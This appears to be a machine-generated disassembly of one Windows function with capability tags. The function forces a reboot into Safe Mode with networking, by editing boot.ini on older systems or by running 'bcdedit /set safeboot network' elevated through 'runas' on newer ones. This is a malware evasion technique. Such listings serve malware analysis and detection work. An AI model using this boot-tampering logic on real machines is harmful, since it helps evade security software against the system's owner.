Function at 0x42c130
Capabilities:
Check os version
Create process on windows
Manipulate boot configuration
Query environment variable
Read .ini file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
mov eax, dword [0x55800c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x430], 6
jae 0x42c28f
push 0x96
lea eax, [ebp - 0x9c]
push eax
push str.SYSTEMDRIVE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x9c]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x42c186
mov eax, dword [str._boot.ini]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [ecx], eax
mov eax, dword [0x540b18]
mov dword [ecx + 4], eax
mov ax, word [0x540b1c]
mov word [ecx + 8], ax
lea eax, [ebp - 0x9c]
push eax
push 0x96
lea eax, [ebp - 0x1a0]
push eax
push 0x518188
push str.default
push str.boot_loader
call esi
lea ecx, [ebp - 0x1a0]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c1e0
sub ecx, edx
je 0x42c4bd
lea eax, [ebp - 0x9c]
push eax
push 0x200
lea eax, [ebp - 0x3a0]
push eax
push 0x518188
lea eax, [ebp - 0x1a0]
push eax
push str.operating_systems
call esi
lea ecx, [ebp - 0x3a0]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c220
sub ecx, edx
je 0x42c4bd
push str.__safeboot:network
lea eax, [ebp - 0x3a0]
push 0x200
push eax
call fcn.004d01ca
add esp, 0xc
lea eax, [ebp - 0x9c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x3a0]
push eax
lea eax, [ebp - 0x1a0]
push eax
push str.operating_systems
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004cbf27
mov esp, ebp
pop ebp
ret
push ebx
push str.Wow64DisableWow64FsRedirection
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.Wow64RevertWow64FsRedirection
push str.kernel32
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov esi, eax
test ebx, ebx
je 0x42c3db
test esi, esi
je 0x42c3db
lea eax, [ebp - 0x438]
push eax
call ebx
push 0x96
cmp eax, 1
lea eax, [ebp - 0x1a0]
push eax
push str.SystemRoot
jne 0x42c3ec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004d0170
push str._system32_
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004d01ca
push str.bcdedit.exe
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004d01ca
push str._set_safeboot_network
lea eax, [ebp - 0x2a4]
push 0x104
push eax
call fcn.004d0170
add esp, 0x30
mov dword [ebp - 0x474], 0x3c
mov dword [ebp - 0x470], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x46c], eax
lea eax, [ebp - 0x108]
mov dword [ebp - 0x464], eax
lea eax, [ebp - 0x2a4]
mov dword [ebp - 0x460], eax
lea eax, [ebp - 0x474]
push eax
mov dword [ebp - 0x468], str.runas
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push dword [ebp - 0x438]
call esi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004cbf27
mov esp, ebp
pop ebp
ret
push 0x96
lea eax, [ebp - 0x1a0]
push eax
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004d0170
push str._system32_
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004d01ca
push str.bcdedit.exe
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004d01ca
push str._set_safeboot_network
lea eax, [ebp - 0x2a4]
push 0x104
push eax
call fcn.004d0170
add esp, 0x30
mov dword [ebp - 0x474], 0x3c
mov dword [ebp - 0x470], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x46c], eax
lea eax, [ebp - 0x108]
mov dword [ebp - 0x464], eax
lea eax, [ebp - 0x2a4]
mov dword [ebp - 0x460], eax
lea eax, [ebp - 0x474]
push eax
mov dword [ebp - 0x468], str.runas
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004cbf27
mov esp, ebp
pop ebp
ret